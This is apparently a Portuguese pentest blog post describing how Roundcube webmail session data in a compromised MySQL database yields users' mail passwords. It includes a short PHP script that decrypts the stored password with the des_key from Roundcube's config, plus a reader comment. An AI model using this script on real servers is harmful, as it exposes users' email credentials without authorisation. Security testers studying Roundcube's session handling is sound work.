Decrypting Roundcube Webmail Password
Durante um pentest após conseguir acesso a base de dados mysql, um dos bancos presentes “mail” representava o Roundcube e nele havia uma tabela chamada “session”, na mesma havia a coluna “vars” da qual continha dados da sessão do usuário.
mysql> describe session; +---------+-------------+------+-----+---------------------+-------+ | Field | Type | Null | Key | Default | Extra | +---------+-------------+------+-----+---------------------+-------+ | sess_id | varchar(40) | NO | PRI | NULL | | | created | datetime | NO | | 0000-00-00 00:00:00 | | | changed | datetime | NO | | 0000-00-00 00:00:00 | | | ip | varchar(40) | NO | | NULL | | | vars | text | NO | | NULL | | +---------+-------------+------+-----+---------------------+-------+ 5 rows in set (0.00 sec)
Dentro os dados contidos em “vars” teve um que chamou atenção que era uma string em base64, o webmail não estava disponível na internet somente para rede interna, após ler o funcionamento do Roundcube e os fontes vi que o mesmo autentica no smtp para baixar o cabeçalho das mensagens, etc, mas e a senha?
Bom, a senha é a mesma que fica codificada utilizando a chave contida no arquivo de configuração do Roundcube, não quero estender e entrar nos detalhes de como consegui, mas com a chave que criptografa a senha de uma maneira “pseudo-random” é possível fazer o caminho inverso e decriptar.
Escrevi um script em php para esta tarefa, segue.
$des_key = "secret key from conf";
$cypher = "base64 password from session";
if (function_exists('mcrypt_module_open')) {
echo "[OK] mcrypt_module_open function exist.\n";
}
if ($td = mcrypt_module_open(MCRYPT_TripleDES, "", MCRYPT_MODE_ECB, "")) {
echo "[OK] ". $td . "\n";
}
$iv = mcrypt_create_iv(mcrypt_enc_get_iv_size($td), MCRYPT_RAND);
mcrypt_generic_init($td, $des_key, $iv);
$pass = mdecrypt_generic($td, base64_decode($cypher));
mcrypt_generic_deinit($td);
mcrypt_module_close($td);
$decrypted = preg_replace('/\x00/', '', $pass);
echo "[DECRYPTED] ".$decrypted;
Download: Roundcube Password Decrypt


Mr. Castro, I implemented your fix and it seems to work perfectly except it seems to work for only “plain Vanilla (English) ASCII”. Any ideas how to tweak it for Unicode? BTW Nice fix, Joel S.